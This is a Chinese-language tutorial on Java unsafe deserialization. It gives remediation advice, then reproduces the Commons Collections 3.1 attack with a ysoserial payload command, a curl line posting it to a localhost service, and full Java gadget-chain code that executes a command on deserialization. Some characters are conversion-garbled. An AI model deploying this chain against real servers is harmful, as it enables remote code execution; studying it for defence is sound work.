代碼安全-不安全的反序列化

# Dynamic Code Evaluation: Unsafe Deserialization 動態(tài)代碼評估:不安全的反序列化
Java序列化是指把Java對象轉(zhuǎn)換為字節(jié)序列的過程;Java反序列化是指把字節(jié)序列恢復(fù)為Java對象的過程;比如用于緩存、網(wǎng)絡(luò)傳輸?shù)惹闆r。
```java
`implements java.io.Serializable`
private void writeObject(java.io.ObjectOutputStream out)
????throws IOException
private void readObject(java.io.ObjectInputStream in)
????throws IOException, ClassNotFoundException;
```
## 概述:
在運行時對用戶控制的對象流進行反序列化,會讓攻擊者有機會在服務(wù)器上執(zhí)行任意代碼、濫用應(yīng)用程序邏輯和/或?qū)е?Denial of Service。
## 解釋:
自定義反序列化例程是在可序列化類中定義的,這些類需要存在于運行時類路徑中,并且不能被攻擊者注入,因此這些攻擊的可利用性取決于應(yīng)用程序環(huán)境中可用的類。不幸的是,常見的第三方類甚至JDK類可能被濫用以耗盡JVM資源、部署惡意文件或運行任意代碼。
## 修復(fù)建議:
不要在未驗證對象流內(nèi)容的情況下反序列化不受信任的數(shù)據(jù)。在反序列化之前需要驗證數(shù)據(jù),需要含有類的元描述數(shù)據(jù)和成員字段的序列化字節(jié),Java序列化過程允許開發(fā)人員讀取類描述并決定是否繼續(xù)進行對象的反序列化或中止它。為了實現(xiàn)這個功能,類必須是java.io.ObjectInputStream的子類并且實現(xiàn)resolveClass方法,在該方法進行類驗證。始終使用嚴格的白名單方法來只反序列化預(yù)期類型。不建議使用黑名單方法,因為攻擊者可能會使用許多可用的小工具來繞過黑名單。
當(dāng)在庫或框架中進行反序列化時(例如,當(dāng)使用JMX、RMI、JMS、HTTP調(diào)用程序時),上述建議并不有用,因為它超出了開發(fā)人員的控制范圍。
在這些情況下,您可能需要確保這些協(xié)議滿足以下要求:不公開。使用身份驗證。使用完整性檢查。使用加密。
[帶你掌握 java 反序列化漏洞及其檢測](https://xie.infoq.cn/article/23206dcdb29bcbf5f379fc790)
## 以Apache CommonsCollections 3.1 漏洞為例 進行 漏洞復(fù)現(xiàn)
使用 spring-boot 編寫一個可以接收 http 數(shù)據(jù)并反序列化的應(yīng)用程序。
使用 [https://start.spring.io/](https://xie.infoq.cn/link?target=https%3A%2F%2Fstart.spring.io%2F) 生成一個 spring-boot 應(yīng)用,選擇 Maven Project、java8
## 生成payload
https://github.com/frohoff/ysoserial?反序列化工具
`java -jar ysoserial-all.jar CommonsCollections5 "calc.exe" > poc`
curl http://localhost:8082/mirroring/rmi --data-binary @poc -v
```java
public static void main(String[] args) throws Exception {
String pocFile = "C:\\Users\\Administrator\\Downloads\\poc2";
final String[] execArgs = new String[] { "calc" };
// inert chain for setup
// real chain for after setup
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
// 這里是我們輸入的命令 calc.exe?
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),?
new ConstantTransformer(1) };
// 執(zhí)行“鏈條”該類的transform會調(diào)用transformer使用反射執(zhí)行命令
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 該類的get接口如果輸入的key找不到會調(diào)用transform函數(shù)觸發(fā)命令執(zhí)行
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);?
// 該類的toString會最終調(diào)用lazyMap.get
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");?
// 最終反序列化的類,readObject會調(diào)用entry.toString
BadAttributeValueExpException val = new BadAttributeValueExpException(null);?
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
// 寫文件
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(pocFile));
outputStream.writeObject(val);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(pocFile));
// 需要commons-collections的3.2.2版本,但升到3.2.2就不需要SerialKiller攔截了,內(nèi)部有做安全處理,或配置開放后再處理。
// 目前僅講述原理,不糾結(jié)
// SerialKiller inputStream = new SerialKiller(new FileInputStream(pocFile), "serialkiller.conf");
inputStream.readObject();
}
```